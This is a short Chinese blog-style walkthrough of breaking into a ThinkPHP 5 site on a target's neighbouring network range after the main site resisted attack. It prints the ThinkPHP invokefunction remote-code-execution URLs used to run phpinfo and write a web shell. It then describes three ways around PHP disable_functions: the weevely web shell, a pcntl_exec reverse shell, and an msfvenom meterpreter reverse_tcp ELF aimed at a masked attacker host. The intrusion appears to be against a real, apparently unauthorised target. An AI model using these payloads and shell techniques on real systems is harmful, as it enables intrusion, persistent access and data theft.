一次disable_functions绕过

  一次偶然的机会,在搞目标的过程中,在目标C段发现一个TP5的站,主站搞不下来,看看能不能搞个C段的嗅探一下。于是就用之前爆出的exp随手搞一下,练练手。目标http://xxxxx.com/index/login/index.html
1.png
2.png

  直接使用EXP测试一下

1
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

3.png
  写入文件:

1
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

4.png
5.png
  一看disable_functions,这么多被禁用了。
6.png
方法一:
  一般这样我先使用的是weevely,即使禁用一些函数,可以执行一下常见的命令,工具也比较好,这里值得推荐大家使用,网上也有好多教程,操作比较简单。
8.png
9.png
  可以执行一些简单的命令,但是一些跨目录什么的不能执行,换一种方法试试。

方法二:
  发现存在–enable-pcntl,可以尝试使用pcntl_exec绕过。pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求: PHP 4 >= 4.2.0, PHP 5 on linux。
7.png
  这里我使用weevely远程下载pcntl_exec执行反弹shell,也可以直接上传文件,使用help或者table按键可以查看weevely的一些命令。
11.png
  但是还是有一些命令不能执行。
12.png
13.png
方法三:
  使用MSF生成elf文件,不依赖于php,可以执行命令。

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxxx LPORT=4444 -f elf > shell.elf

15.png
16.png
17.png
  这一次终于绕过可以执行任意命令了。